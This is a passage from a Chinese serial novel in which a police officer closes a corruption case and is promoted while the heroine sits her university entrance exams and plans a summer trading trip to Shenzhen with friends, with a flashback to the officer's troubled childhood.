钱育才凑过来,轻声说:“赵队是从医院过来,昨晚肯定没睡好。”
祁连的眼睛瞬间发光:“医院?这么说他去找老妹谈心?难怪啊。老钱,你怎么知道?”
钱育才呵了声:“这几天,他一直拿我的饭盒子吃饭。我问过他,说是上次送饭没拿回来。今天我看到他那只饭盒子回来了。有理有据地推断。”
祁连竖起大拇指,又把手里的资料拍他怀里:“你走一趟,把这女人带回来,让我们也见见大佬的女人长什么样。”
宋景看着祁连大摇大摆离开,做个鬼脸,看老钱离去,追上他:“他这算什么?从我手里拿走,再扔给你?”
钱育才呵呵笑:“他是大队长,可以转手把任务交下来。难道你能私自去拿人吗?走吧,这案子总算要探到底了。”
医院里,林妈婉拒沈秋霞去家里吃饭的邀请,开始收拾东西带林语晨出院。
两人拉扯半天,沈秋霞说:“算了,我跟你们一起回去,我也想回去看看家里的菜地。”
林兰香啊了声:“沈嫂子,你不管有归啦?”
“他把局子当家,还要我干吗?”昨晚沈秋霞和林兰香聊大半晚上,说是在城里住不习惯,想回村。
现在,她看到两母女回去,越发想回家。
“我去医生办公室给有归局里打个电话说一声,你们等等我啊。”
林语晨看着碎步跑走的沈秋霞,与林兰香对上脸:“妈?”
林兰香很能明白沈秋霞的想法,继续收拾东西。
“昨晚啊,沈嫂子和我聊了很久,说在小房子里住得无聊。其实,那房子比农村是小了点,两间房、一个客厅连着厨房、卫生间,不像咱们农村,有个大院子还能种菜。
她与院里的家属不熟,还老被打听有归工作上的事,和那些人聊不到一块。
她还说跟那些人都比不上跟院子里的狗熟悉。”
林语晨牵起唇角:“婶婶是内向人,有了情绪,也不会发作出来,遇到那些瞎打听的人只能生闷气吧。”
“她以前可不是这样啊。不过说到底,有归是个男人,不懂他妈的心思和难处。赵大哥走了以后,沈嫂子变了很多。”林兰香想起当年赵有归离家当兵的事,念叨起来,“当年,沈嫂子也是硬脾气的人,什么苦都吃过也咽下肚。可是人啊,像是弹簧,你压得越紧了,发作起来越狠。
有归就是那个受气筒。”
林语晨听着这话回想起一段往事,喃喃说:“我好像见过一次。有归哥逃了,爸还帮忙找他,对吧?”
“是啊。你记得吗?那次还是你把他带回来。”林兰香摇着头整理东西,“行了,别讲古了,准备出院吧。”
赵有归靠在椅背上补觉。
昨晚,他和林语晨逛完街回医院,硬挺半宿也没睡着。
情感上,他想说出来留下她;理智上,他又坚定地认为她的选择是正确的。
睡梦中,他好像回到儿时那座即将变得漆黑的山上。
十五六岁的少年窝在大石头下,抱膝缩成一团,右侧的脸上火辣辣的疼。
年轻气盛的沈秋霞因为一点小事,控制不住脾气打了他。而这种痛,其实早已不是第一次。
“怪你,若不是因为你,我……我可以离开这个冰冷的地方。为什么我要把你生下来?”
“全都是因为你爸。他为什么不回来?你知道我多辛苦吗?啊……干不完的活,还得伺候老人……我好累好累啊……”
“你为什么要跟人家打架?我生你下来是让你打架吗?你不能好好读点书、上点进吗?”
“你在干什么?不帮我干活跑出去玩?我生你下来就是让你气我吗?你个混蛋混蛋……我打死你……”
“你爸……你爸要回来了,他断了腿要回来了!啊……这种人回来能干什么?帮我下地还是给你做饭,他还回来干什么?啊……”
……
父亲回来的喜悦就这样被冲淡了。
赵有归挨了一巴掌逃进山上,不知道父亲回来时该怎么面对他,也不知道该怎么忍受母亲间歇性的暴怒。
“有归哥,你怎么在这?”九岁的林语晨背着林兰香编织的小竹筐走到少年的旁边,“你看我采了什么?好多地苗子,可甜了,你尝尝。”
赵有归擦下手,接过红润润的地苗,吃了口。酸甜的味道刺激味蕾泛出一阵尖锐的酸涩,像是忍受母亲怒火的时刻。
林语晨看他的脸皱成一团,奇怪问:“不好吃?不可能啊。”她吃了颗,甜得裂开嘴,“挺好吃啊。你不喜欢啊?我拿去分给赵晓鹤。”
“等等,”赵有归喊住她,“可以再给我几颗吗?”
林语晨走回来,用嫩桑叶给他一小包:“吃吧。为什么待在这啊?”
赵有归垂头吃着甜果,母亲有时候又是正常的,也像这甜果。
平静地咽下去:“你不懂。”
林语晨睨他,歪头思考:“你想爸爸了?”
赵有归想起两家的情况相似,好奇问:“林叔没回来时,你会想他吗?现在,林叔的脚瘸了,你不难受吗?”
林语晨拿起果子就丢他,气呼呼说:“不准说我爸瘸脚。我爸是大英雄,保家卫国受的伤。这是光荣的伤。我不理你了。”
赵有归看着她气呼呼地走开,低声说:“我爸的腿断了,要回来了。”
小小的林语晨停下脚步,思考三秒又走过去陪他坐下。
良久后,她轻声说:“受伤的脚很丑。第一次看到时,我害怕地哭了。妈妈骂了我。我以为爸会揍我,吓得不敢动。
他跟我说:这是英雄的伤,外表看着丑,其实它很美。
我第一次知道原来伤疤也能是美的,你说好玩不好玩?”
赵有归看着她认真的小表情,轻轻地拉起唇角:“你说他们为什么要去那个地方?”
“是啊。若是我爸不去,脚就不会受伤。赵大伯也不会断腿,那个地方究竟有什么好呢?”林语晨扔着石子,好奇问,“英雄就是要受伤吗?”
“也许不用。”赵有归仰看树荫上的朦胧天色,“你还不回家吗?天要黑了。”
“啊,我妈该找我了。”林语晨起身,又回头问,“你是不是又被婶婶骂了?不敢回家啊。”
赵有归的脸红了:“小屁孩懂什么。”
“呵呵呵呵……我最近也想离家出走,我爸妈太烦了,老让我写作业。”林语晨兴奋起来,“有归哥,你这样不行啊。我考虑过了,若是要离家出走就得走远点,不然,还是要回去的。走吧。”
“走远点……可以去哪呢?”赵有归问出后也笑了,竟向一个九岁的小女孩讨教怎么离家出走。
“嗯。你不去我爸、你爸待过的地方吗?他们离家,一走就是好多年,不受伤都不回来。”林语晨点头,“我要是离家出走,就去他们去的地方。
我妈肯定找
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不到我,不用再逼我写作业。我真聪明!”
赵有归看着她的天真模样也被逗笑,忽然说:“是啊,去他们待过的地方看看,究竟有什么吸引他们不回来。
我离开后,我妈不用看着我头疼,她就能自由了。”
又苦涩地笑起来,看着往山下走却滑了跤的小姑娘,“林小妹,你是球吗?滚下山啊。”
“你才球。”林语晨看着磨破皮的脚踝,硬是瘪着嘴不哭。
“哎,人小鬼大。我背你下山吧。”赵有归实在看不下去,追上去要背她。
“不用,我自己能行。”林语晨坚持自己走。
“上次,赵晓琳在山里迷路,还是我背回去。”赵有归给她讲道理。
“她是她,我是我。她小,我大。我自己能行就是能行……”
——
“叮铃铃……”
电话铃声穿透梦境,惊醒赵有归。
他猛直起身,揉捏太阳穴,接起电话:“喂……妈?”
电话那头的沈秋霞说:“有归,我想跟你林姨和晨晨回村里住几天。”到底是不敢说去了不回来。
儿子这么忙,总是忘记吃饭……想想就住几天再回来。
“我去看看家里那点菜,摘些回来。”
“知道了,妈。你在医院吗?”赵有归看眼墙上的时钟,“你们在医院门口等我。我送你们回去。”
沈秋霞听着挂断的声音,暗吸口气回病房,碰上走出来的母女两人。
“我跟有归说了,同你们一起回去。他说让我们在医院门口等他,说送送我们。”
林兰香觉得太麻烦,不过沈大嫂要一起回去,就这样了。
出院前,林语晨看望张天鸿。
人还只能吃流食,亲妈唐琪在照顾他。
“林语晨,谢谢你。”张天鸿苍白张脸,感激地看去。
“若是没有天鸿哥,我可能活不下来。所以,这是我们合作的成果。”林语晨莞尔。
张天鸿轻轻地拉大唇角,牵动身体皮肤,捂着微微作痛的胸口。
“茉莉已经回学校。林语晨,等我好了去找你,有点事想问个明白。”
林语晨微愣,一时没想起来他有什么问题,顺势答应:“好啊。天鸿哥,你好好养身体,再见。”
“我们还会再见。”张天鸿笑说,让唐妈送送她。
唐琪送完人回来,嗔看儿子:“天鸿,妈以前怎么没发现你这么有女人缘?”
“啊?妈,怎么说啊?”张天鸿一脸雾水,恍然说,“你别误会。林语晨是赵有归的恩人,托茉莉在学校照顾她。我跟她也不太熟,不过,这次生死相交,算是熟了点。她真是让人意外。”
唐琪不扯林语晨。这两天听茉莉讲了些林语晨的事,知道赵有归喜欢林语晨。
不过,以她过来人的眼光看,赵有归这种忙起来顾不上家的人恐怕和林语晨成不了。
林语晨是个有成算、心思通透的女子,不会把幸福搭在不确定的人身上。
“妈不是说她。有个叫金翠城的姑娘,认识吗?”
“金翠城?啊……”张天鸿想起进市里的一大原因就是送送这个曾经帮过忙的女人。不过,两天里浑浑噩噩,现在才清醒,也才想起这事。
“她……走了?妈怎么知道她?”
“你没送人家。她倒是来医院看望你。不过,她听说你没事也没留,跑得那叫个急。听宋警官说,她已经回老家,云省那边的人吧,怪远的。”
唐琪放好水杯,温柔地看去,“有力气跟妈细细讲讲,你老大不小了,该成家了。”
“妈……不可能的!”张天鸿侧不了身,假装累了,直挺挺地闭眼入睡。
53. 七月考
县局里,钱育才已经把李虹基在外的女人请回市局。
但是,赵有归不见了,只留个口信给孙科,还把警车开走,公器私用。
祁连听完钱育才的话,气笑:“他这时候回家干嘛呀?关键时刻回家,我还想回家见老婆孩子呢。这都忙多少天了!”
钱育才神色庄重,双手把资料奉上:“祁队,赵队离开前留下口信,说祁大队长能力出众,既有心办此案,就请祁大队长继续办理。此外,他已经同蔡局打过招呼,蔡局也非常同意祁大队长接手后续工作。”
“我……”祁连拿起文件做个假拍的动作,看老钱缩头才放下资料,气呼呼说,“你们一个个都没憋好屁,一个鼻孔出气。不怕我抢他功劳?审女人好说。监察委要我们出个人联审李虹基,那边得他亲自过去,赶紧叫他回来吧。”
哼!李厅,那是李厅,蔡局的上司!蔡局都避开了还想我趟浑水呢!
回头若是弄个反转,搞出乌龙。那局里也不用待了,趁早下海得了。
宋景闻声走来,帮赵有归解释:“祁队,林裕宝的供词里说,他从方罗金处得知办理此案的人是赵队。祠堂里,他们见过一面,认出赵队曾经去祠堂卧底。林裕宝去了赵家村,想拿赵队的父母做人质。但是,赵队家里就沈阿姨一个人,还被接来市里,扑了个空。赵队是因为这事回赵家村查探,确认村里人员的安全。”
钱育才一脸恍然大悟:“原来是这样啊。这林裕宝真是穷凶极恶!幸好赵队把妈接来城里,不然……后果不堪设想。”
众人也是大吃一惊。
祁连指了指宋景,也不再废话。
大家都有家属,警察抓人讲法。犯人不讲,甚至会报复抓他的警察家属。
他朝几人说:“行了。抓紧办案吧。上头在催,这周结束前,必须汇报518案的全部情况。”
众人点头,各自去忙。
——
医院门口,林语晨三人上赵有归开来的车。
沈秋霞先问:“有归,吃过中饭吗?你送我们到车站就好。”
“吃了。妈、林姨、语晨,我送你们回村。”赵有归朝副驾驶上的林语晨笑,“正好,事情处理差不多,回家休息一天。”
林语晨轻轻地应声,向后座的两位妈妈看去,同时对上眼:“不用坐公交车坐警车,安全又省事,哈。”
赵有归闻言笑了,专心开车。
“啊!”林兰香应说,“辛苦有归。咱们沾了沈嫂子的福气。”
沈秋霞无声笑着,多少有点摸得着儿子的心思。明眼人看透不说破。
一路上大家没说什么话,由着赵有归开车回江源县,又去赵家村。
林语晨等着明天赵有归回市里时路过江源县,顺便坐他车回学校。复习任务重,夸下海口就不能当吹牛,必须尽快回去复习。
林大宝不在家,去新建造纸厂上班。
林兰香看着家里整整齐齐的厨房,感慨了句:“你爸还是像个丈夫。”
林语晨笑说:“爸一直很勤劳。妈,我想擦个身。”
“好,你等着,我来烧水。”林兰香应道。
赵有归回家,提前跟沈秋霞打了声招呼。
母子两人进屋看到一片狼藉,沈秋霞气得说不出话,幸好在门口听了有归回来的目的,就压下不表。
“妈,你先歇着,我来吧,顺便检查下屋子。”赵有归让母亲先待在院子里,再把几间屋子一寸寸检查完。
米缸被尿了,油壶被砸了……厨房一片混乱,东西是不能用了。他回卧室,被褥扔在房门口,显然林裕宝不敢在床上睡,躺在门口警戒。
他把东西都收起来,确定没有安全问题才对沈秋霞说:“妈,好了。厨房的吃用都不能用,我上镇里去买一些回来。你的房间还好,不过被褥这些还是要洗过才行。”
“行,你去吧。家里交给我。”沈秋霞开始忙,又说,“有归,买点肉送去你林叔家。”
赵有归应下,开了车出门。
晚上,赵家和林家两家人一起吃的晚饭。
林大宝乐了,妻子在侧,女儿平安,有归陪喝点小酒,还有亲友走动,一切都很美好。
只是,女儿未来想出国,想起这出国费用,多少有点扎心,跟赵有归唠嗑起来。
赵有归陪他聊天,末了只说:“林叔别太担心,船到桥头自然直,总会有办法。”
“是啊。晨晨也这么说,可是做人父母,怎么能不担着呢。”林大宝感慨了句。
翌日,赵有归回市局,载着林语晨一起去江源县。
在县高门口,林语晨道过谢就进校门,回头望去。那个男人站在警车前挥了挥手,而后去驾驶室。
林语晨也回应地挥了下,毅然向校园深处走出。
车里的赵有归长吸口气,绽出一个自认为最体面的笑容,调转车头离去。
这日开始,林语晨的学习生活彻底平静,不论是楚邵、林裕宝、林菲儿还是林飞成,亦或孙佳好、孙佳人一夜之间仿佛在江源县彻底消失,再也影响不到她用功复习。
五月底,灵江市几所高校举办预选考试。林语晨的成绩成功杀入地级市两千名内,这给她莫大的信心。
学校的氛围也日渐严正,所有人都在等待七月的到来。
市局那边,赵有归和监察委的同志握手,两局成功合作办下李虹基的案子。
李虹基肯定不招。
但是,他的妻子确认李虹基在外有女人,而且应该在市区百货商店附近的房子里住。
赵有归查到的高档品客户资料,成功锁定一名长期在各家买高档货品的女子,住址就在百货商店附近。
钱育才找到这女人,从她家里找出大批现金。
经审讯过后,女人说出李虹基受贿记录,以及大笔钱财的非法来源。
市局以此为名,正式拘捕李虹基。
蔡局看着审讯房里曾经的上司,被联合调查这么久,哪还有曾经的意气风发。他对即将进入屋子的赵有归拍了拍肩头。
赵有归从他这份沉重中感受到责任和悲伤,默默点头后推开审讯大门。
李虹基再没有隐瞒的理由,看着进来的警察,中年威严的沧桑脸上拉扯出个难看的笑容,忽然就破防,大声地哭了。
李虹基交待后,王织信也终于不再隐瞒,陆续爆出几个市内据点当作将功补过。
市局和几个片区又联合行动,端掉城里几个重要赌.博、涉.黄窝点,还了灵江市真正的清净。
六月底,谭省看着一摞整理成册的档案、报告,既欣慰又感到难过。
审批过后让市局递交档案,涉案人员交给省高院办理。
七月是个热到蝉都不敢开口的火热月份。
省政那边要给518大案的办案人员嘉奖、开表彰大会,不过还得为高考学子让道。
谭省下达指示:“全省警员先协助高考,学子们考完试,我们再开全省表彰大会!”
七月的七日、八日、九日,连着三天全国统考。
林语晨什么想法都没有,与无数考生一起沉下心,全神贯注参与这次考试,语、数,历史、政治,地理、外语,一共六门课,一天两门,连考三天。
地狱般的三天过完,一下子失去压力的学生们仿佛重见天日。
尽管大夏天的日头烈到让人中暑,考完试的学生尽情地欢笑、嚎叫。
晚上,宿舍楼上的纸片像黑夜的精灵顺风飞舞;热水壶噼里啪啦往下砸,摔在外墙,掉在侧山脚的岩石上。那里已经有数不清的水壶碎片,偶尔被宿舍里投来的灯光照亮,反射回天上,宛如一片地上的小小星海
第二日,林语晨、赵晓琳和张茉莉、李伶俐、淳于芳一一道别,约好一起回学校填报志愿的时间,带着各自的行李回家。
——
市局那边,经过七月高考,表彰大会被正式定在7月15日召开。518案子被抓的公职人员过多,急需补充人才,各方调职令也在这段时间准备就绪。
大会上,谭省做了重要讲话,严肃重申公职人员的政治纪律以及作风作态。会议中场表扬了518案件里做出重大贡献的人员,慰问行动中受伤的同志。
一身警察制服的赵有归、钱育才、宋景、祁连等十多人踏着坚毅的步子向前,接受省委的嘉奖。张天鸿被表扬为五好市名,获得荣誉证书。会上还提名林语晨,海捕林裕宝的举报奖金落在她这,尽管只有50元,也是林大宝将近三个多月的工资。
会议最后公布各处调职方案。蔡局荣升正处级厅长,赵有归被任命为市局局长。
祁连被下放到江源县做局长。
表彰大会前几天,蔡局私下里还问祁连:“你怎么回事?这是多好的机会,以他的资历,目前上不去。你怎么私自去说要调往江源县?”
祁连尴尬地笑笑:“局长,我知道你一直想提拔我。但是,你也看到,赵有归确实年轻,没啥资历,但是他能干,后面又有大山。
我呢?我有老妈有老婆孩子,就想平平安安,上班下班,不想办啥大案子被人在背后惦记家人。
赵有归若是运气不好,这次老妈子就没了。
江源县是个好地方,现在多干净,我去那挺好。我没什么大志向,到那做个小局长,待遇比在市局还好,补贴也多。”
蔡局不争气地看着他:“你这是宁做鸡头不做凤尾啊,没出息。我这次可以代替李虹基的位置,结果让个毛头小子做我下属……”
祁连呵呵笑:“赵有归不是心胸狭小的人。”
“我是了?”蔡局瞪他,“别以为我不知道,你怕上面不答应,留在市局尴尬,就想提前找个退路,是吧?你这油滑的性子,气死我!滚吧滚吧……”
*
表彰大会过后,张天鸿拒绝赵有归的邀请,以及连队那边发来的归队指令。
他沉声说:“有归,我想明白了,不回队也不去市局。接下来,我会回八一造纸厂协助我爸,好好办厂子,造福一方百姓。”
“为什么?”赵有归蹙眉不解。
张天鸿莞尔。
因为出院后,他去学校找过林语晨。
在县高外的街道上,张天鸿直说来意:“林语晨,你记得我面临死亡时,你说过的话吗?”
林语晨确实想过张天鸿在医院时说得那句会找来的话,想了想:“我不方便说。”
张天鸿点头:“我不问你是怎么知道,那是你的事。我只问一句关于我自己:我得死在什么灭门案后,这个灭门案具体指什么,是我张家、也包括茉莉吗?”
林语晨幽幽地看去,轻轻地点头:“我不知道确切的时间,地点应该在家里。”
“谢谢,这就够了。”张天鸿背身离去,又回头说,“对了,有个人提醒过我,让我注意一个人。我觉得你们很像。这种像很奇怪,说不清道不明,就是觉得你们很像。或许,你们是同一类人吧。”
林语晨惊讶地看向他的背影。
这个人……不用说,应该是赵有归。
赵有归曾经提醒过张天鸿注意一个人。注意谁?
惨案背后最大的得益者往往就是凶手。
——难道赵有归已经提醒张天鸿要注意钱忠源吗?
赵有归为什么让张天鸿注意钱忠源?
因为上一次在灵源江边,林语晨提醒过身为警察的赵有归,张家会发生灭门案。赵有归得知后又提醒张天鸿,才会引起张天鸿的注意!
乌龙往往就是这样产生吧。林语晨又一次错过获悉赵有归身份真相的机会。
此刻,张天鸿谢绝赵有归的邀请,缓缓说:“你让我注意钱忠源,我已经把留在八一厂的决定告诉他们。
你知道吗?钱忠源真得表演当场变脸。不过,他很快就恢复了。所以,赵有归,这次我选择留在家人身边,同他们一起战斗、共进退。”
赵有归目送他拿着荣誉证书离开,心上滑过一阵悲伤。
有时候他觉得命运可以被改变,比如母亲脱离病死的结局。
有时候又觉得命运时时在导正原本的轨道。若母亲没有往灵江市看病,极有可能已经遭遇林裕宝这位凶手,而再次死去。
明明已经把张天鸿拉出八一造纸厂这团旋涡。兜转一圈,他又回去造纸厂,刺激那些心怀恶意的人。
自己呢?
前世退伍后成为海市局长,因出身地和临省等因素,受命调查灵江市非法团伙,最终遇害身亡。重来一次,又成为灵江市局长。
不同地点,命运却再次回到原来的轨道。
林语晨呢?
楚邵拿走林裕宝的钱去深市。若他未来不再犯法,还会重回首富的位置吗?
他和林语晨会再次成为夫妻吗?
七月的太阳热辣,却照不暖一颗苍白孤冷的心。
——
填报完志愿的林语晨真正地迎来夏天。在江源县的丸子店里,几名年龄相仿的女生在商量这个夏天怎么过。
林语晨拿手巾抹掉嘴上的甜腻,环顾一圈:赵晓琳、张茉莉、李伶俐、淳于芳,还有何罗秋这位护花使者。
“我想赚学费,跑一趟深地的中英街,那地方与港地接壤,可以带些进口货回来上市区摆夜摊。”
“……”几个人一脸“你在说啥?”
张茉莉哇了声:“好啊。我要去。我瞒着爸妈报了京北电大,正愁没地方躲呢。”
林语晨一脸你真牛:“你跟你小婶真是演一出好戏,拿我们做幌子,偷跑去参加专业考。这次违背母上大人选择北影,确实得找地方躲。”
淳于芳也是一脸佩服:“林语晨,我想跟你去。我报了广贸的管理专业,南下的话正好去
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熟悉地方。等我去大学,家里给的费用也挺紧张。若你能赚到钱,带我一个吧。”
李伶俐紧跟:“算我一个行吗?我是财经专业,以后跟钱打交道,早点熟悉熟悉门道。晓琳,你去吗?”
赵晓琳:“……我答应小姑去医院帮忙。她调进县医院,我能跟她学更多。”
余下的何罗秋看几位姑娘望来,沉重的脸色好似下个决心。
“我跟你们去吧。你们几个女生去那么远的地方很危险。现在流行车站拐人。”他瞟眼赵晓琳,“我报得也是医学院,但估分情况不好,选了护理专业。”
现在开始攒钱,将来就能娶晓琳!
大家齐齐看向林语晨。
淳于芳好奇问:“说起来,你报了什么专业?”
林语晨咧嘴:“冷门到你们听都没听过的专业:心理学!”
“我去,这是学啥?心理学,别人的心理能学啥?选专业的本上有这个专业吗?”何罗秋颠了,“我怎么没看到过?”
林语晨憋不住笑出声:“是啊,我翻好久才看到。要不是……”目光落在憋笑的张茉莉处,“要不是我眼睛够亮的话还真找不到它。它在京北师大的名下,今年新成立的冷门系。”
“这是捡漏吧?”李伶俐说出看法,“但是,师大那边的整体录取分数线不低。”
“这个专业是今年新成立的课程。心理学讲得是研究人内心的变化,用科学的方式、语言把这种变化表达出来。”
林语晨笑得还挺开心:张校长帮李丽珍传话,若是选这个专业,文理兼可。因为它冷门,毫无就业前景,少有人会选择它。既然下决心赌,就押把大的。底气就是林语晨两个多月的努力成果。
林语晨看出来大家的表情,全写着同情,笑说:“我就是赌。若赌错了,就重来一次。有一就有二,还怕再做大龄女学生吗?其实,我对这门专业挺感兴趣。”
以前就同人打交道,以后继续同人的内心打交道,既有经验也挺新鲜。
“听说,这门专业若是碰上好时候,可以出国深造。我觉得挺好。”
“……”众人用怜爱的眼神看她,脑子灵清的人都知道,专业关系未来的职业。专业不好,工作都找不到,更别说连分配都没地方塞。
“好了,你们别这样看我。我们说说接下来的打算吧。什么时候去深地,又要带些什么回来,选在什么地方卖合适?”
大家一脸清澈地望向她。
林语晨无语地笑了:“市里已经开始私人买卖录音机。我们可以带一些从港地流入深地的磁带回来。此外,港地那边的武侠故事书、茉莉看的小人书,都可以考虑带一些回来。
出租或者售卖小人书也是一门不错的小生意。同学们都放假了,大人应该不会管这个了,我们对外推销出去。
此外,时髦的衣服、发卡夹子、丝袜这些也带些回来卖。若是家里的妈妈手艺好,可以尝试自己创新做衣裙。面料是个问题。我观察过市场,现在流行的确良做衣服裤子,而且利润很高。但是,面料的利润还是比不上成衣。”
众人一脸看神的眼神望着她。
赵晓琳也懵圈:“语晨姐,你怎么知道这么多?咱们离开学校才多久,两个星期?”
“这点时间足够了。我们多上街看看,观察观察就能了解现在的市场。现在不复杂,”复杂得是未来变化多端的市场和人心喜好。
李伶俐问个实际问题:“这什么都想买,得投多少钱啊?”
林语晨认真脸:“当然不可能什么都带,选择利润高又轻巧,存储时间最好也能长一点。我打算先投入三百元进货。”
这是出血本。林爸先给她准备近两年大学的学费和生活费用,若是亏了,往后就勤工俭学吧。
“我家里没这么多钱。去那边的车费就不是一笔小钱吧?”淳于芳的面上有些难为情,“真要这么多钱吗?”
李伶俐也犯难:“太多了吧。”
何罗秋不吭声,表情也是这个意思。
张茉莉轻咳了声,与不愁钱的赵晓琳对上眼。
她先来:“这样吧。我可以赞助两个人。但是,我是去玩,不参与你们进货、卖货。不过,我借钱给你们也不能白借,你们得付我一到两成的利润,并且卖完货后得把本金一起还我。”
林语晨竖起大拇指:“不愧是张家人!”
张茉莉得意地昂起下巴:“那当然了。若我去搞厂子,比我哥可强多了。”
赵晓琳抿着唇笑,看向何罗秋:“我是不去的。但是,我可以把钱借给罗秋和伶俐,你们不用给利润。”
“晓琳……”何罗秋和李伶俐感动得要哭了。
张茉莉不爽快了:“赵晓琳,你怎么做事呢?你高尚啊,衬得我像是市侩的小人!”
“行了行了。”林语晨按住生气的张茉莉,目光看向何罗秋和李伶俐。
何罗秋当即表示:“谢谢晓琳,若是赚了钱,我把利润分你两成,连本金一起还你。”
李伶俐挣扎了下,最终表示没问题:“我和罗秋一个意思。”
赵晓琳知道刚才做得不稳妥,刺激到张茉莉,也没再说什么,点头答应。
“有人送我钱花,我高兴还来不及了,祝你们顺顺利利。”
林语晨见张茉莉的面色好些,赵晓琳也应下,紧跟着说:“既然本钱的问题解决了,接下来就制定出发计划。”
她把进货路线和地址分说清楚,约定周末在客车站集合出发。
等散场,林语晨对赵晓琳说:“晓琳,我理解你想要帮伶俐。不过,朋友之间涉及到钱,还是一是一、二是二说清楚比较好。何罗秋的做法就很好。若是将来因为钱的事出问题,彼此闹别扭会很尴尬。”
赵晓琳不理解:“为什么?我想帮她就帮她。语晨姐,你是因为张茉莉的小婶才迁就她吧?我能理解,但是,你不能要求我也变成她那样市侩。”
林语晨看着她气冲冲地离开,无奈地抚在额头,仰天感慨:“年轻啊,真好!”
年轻还可以对人敞开本心、不设防,其实这是一种美好的能力。
散场离开的众人心里也在打鼓。
怎么就响应林语晨的号召,跟她去那么远的地方进货呢?
仔细回想,大概张茉莉愿意一起去,此外是这个夏天,林语晨给人的惊喜超乎寻常,而大家也愿意相信她。
一个敢正面对抗孙佳好、往人家床上倒洗脚水的同学;敢约曾经欺负她的人周五在学校碰头,还把人反欺负进医院;那么烂的成绩,在最后一次模拟考时竟能考入地级市一千名左右,创造一个小奇迹。
她还会开车、冲警戒线、送受了枪伤的茉莉哥哥上医院急救……种种下来,林语晨有了超乎寻常的力量,让人信服的力量。
录取通知书还没来,却不妨碍大家在这个夏天很忙很忙!
54. 火车上
“晓鹤,你怎么在这,一副垂头苦脸的样子?”林语晨从县上回来时路过村里的池塘,看到那个坐在石坎上扔石子的大男孩。
赵晓鹤看到她,跳下石坎,一时想看又不敢看她,好似做了什么对不起林语晨的事。
支支吾吾说:“语晨,填完志愿了?我……”
“嗯。”林语晨看出他有心事,也顺便回忆了下。自从江源县上出事后,两人就没怎么碰过面。
有几次,周末的时候在村里路上遇见,各自打声招呼后匆匆离开,不像以前那样会凑一起聊天。其实,一个忙着复习读书、一个在新建造纸厂上常白班,没什么接触的机会。
今天,赵晓琳气呼呼地离开去找赵小姑,眼里还含着几分纠结。她已经认识到林语晨与想象中不太一样,从对林飞成、李伶俐的态度上,林语晨的为人比她以为得要冰冷得多。有时候甚至可以用“趋炎附势”形容,赵晓琳有些难以接受。
此时,赵晓鹤同样纠结得看去,似有话说,却又说不出口。
林语晨绕过纠结的大男孩,爬坐上石坎,扣出石头缝里的小石子往池里丢,扑通一声,像某种暗示,让心事随石头沉下去。
“坐啊,傻愣着干啥?你小时候就爱捡一堆石头来这打水漂。这习惯还没改呢?”
赵晓鹤傻傻地笑了声,答应后坐过去。
与她一起丢石头,几下过后心里还是起伏不定,面对身旁的语晨时,好似藏着连他自己都说不清的歉疚。
“工作上的事吗?”林语晨察觉他的视线,开口问。
“嗯啊,你知道我对数字不敏感,记录来料、出货老出错,昨天又被主任骂了。”赵晓鹤推着鼻梁上的黑框眼镜,抿紧唇,“语晨,我是不是很没用啊?”
“怎么会呢?”林语晨边抛石子边说,“小时候我摘好多苗子,吃不完,都是你帮我吃掉呢。”
“……”赵晓鹤一脸无语,看着她轻松的姿态勉强笑了,“我也就这点用处吧,只会吃,不会干活。”
“可不是嘛。我爸塞给我一大碗,咱俩非得端着碗从东走到西窝在一起吃饭。你给我鸡肉吃,我给你竹笋吃,哈哈……”林语晨抛块石头入水,侧头问,“你还记得这事吗?”
“记得。那时候晓琳小小一只,那么可爱,却骂我是出门要饭的乞丐。现在,她都要去上大学了,你也是。”赵晓鹤垂眸,眼里少不了羡慕。
“晓琳那是骄傲、还生气,他哥被我抢走了嘛。”林语晨的手搭上他肩头,郑重说,“晓鹤,造纸厂的工作不适应就别做了。除了这个,你还能做很多事。”
“我能做什么呀?”赵晓鹤的脸仿佛六月的天,说变就变,“我算数差,背书一般,除能甄别古董,啥都不会。这行也吃不上饭。”
“你就去甄别古董啊,别荒废你家老太爷教你的本事。市里的南门街是个好地方,已经有几家古董店。你到那边租一个铺子,收卖古董或者帮别人鉴别旧物。现在不需要证书,全靠经验和老手艺。只要你做得好,小有名气,多得是人上门找你。”
赵晓鹤的眼睛微微发亮,随即又暗淡:“我能行吗?我家是有点钱,也只是比村里别家好些,若是进城……”
“赵晓鹤,你喊我高考的时候怎么这么有信心,对你自己就这么没想法?”林语晨都怒了。
赵家兄妹简直是两个极端,妹妹自信到天下无敌,高考完后都不估分,而且不报第二志愿也不接受调剂。哥哥就……现在这样。
“因为你是语晨啊。我……我是出门都会迷路的赵晓鹤,进仓库还会忘记拿对账本的傻蛋。”赵晓鹤“哎呀”了声,耳朵被林语晨提起来,“痛……语晨,你干吗?疼……”
“我不准你这样说自己。”林语晨松开手,看着他委屈地捂耳朵,鼓励他,“赵晓鹤,若是你现在找不到人生方向,我可以帮你,咱们一起走一段路。等你走过这段艰难时期,也就知道未来前进的方向。”
“语晨……”赵晓鹤不止耳朵红了,连眼睛都红了,“我听你的话,你说啥我就做啥。”
“你又来了。我说你会修补古瓷,会鉴别古玩,那就从事这行。”林语晨看他重重点头,嗐了声,“我要去深地的中英街进货。回来后应该会在灵江市摆夜摊。”
林语晨思考着进货难、回来卖货也不容易,斟酌说,“你到灵江市的南门街租个店铺。到时候,我们带回来的货白天放你的店里卖,晚上去坊河街摆夜摊。
我们可以帮你分摊一小部分房租,也给你的铺子增加人气。”
“我能一起去深地吗?”赵晓鹤发现林语晨的眼神里似写着“不赞同”,立时说,“我……不去。我去租店铺,你来卖东西。”
“只你一个人去租店铺,我还担心你被骗。”林语晨摸把他垂下的脑袋,跟大狗似,“你可以带上你妹去市局找赵有归。我看了报纸,人家现在是有实权的局长,帮你这点小忙问题不大。当初,他提议办集体厂的时候,你不也帮了忙吗?这人情该还了。”
“不太好吧?”赵晓鹤迟疑,“有归哥看起来一点都不好说话。”
“那只是看起来。晓琳肯定想见他,应该会去报喜讯。光她自己去肯定会难为情,拉上你一起,份量就够了。你只要无意提一句想进灵江市租铺子卖古董,你妹和人家赵有归就都明白啦。你妹是人精,赵有归别看着憨,也精着呢。”
林语晨说起这两人心里有股形容不来的别扭,笑说,“见着他们,别说是我给你出的主意啊。”
赵晓鹤的脸色由阴转晴,乐呵答应:“好。语晨,我听你的。你……去深地,那个谁也一起去吗?”
“谁啊?”林语晨不解地看向池塘,抛块石子,“等过两年,深地那边再开发的好点,我们再一起去,好吗?”
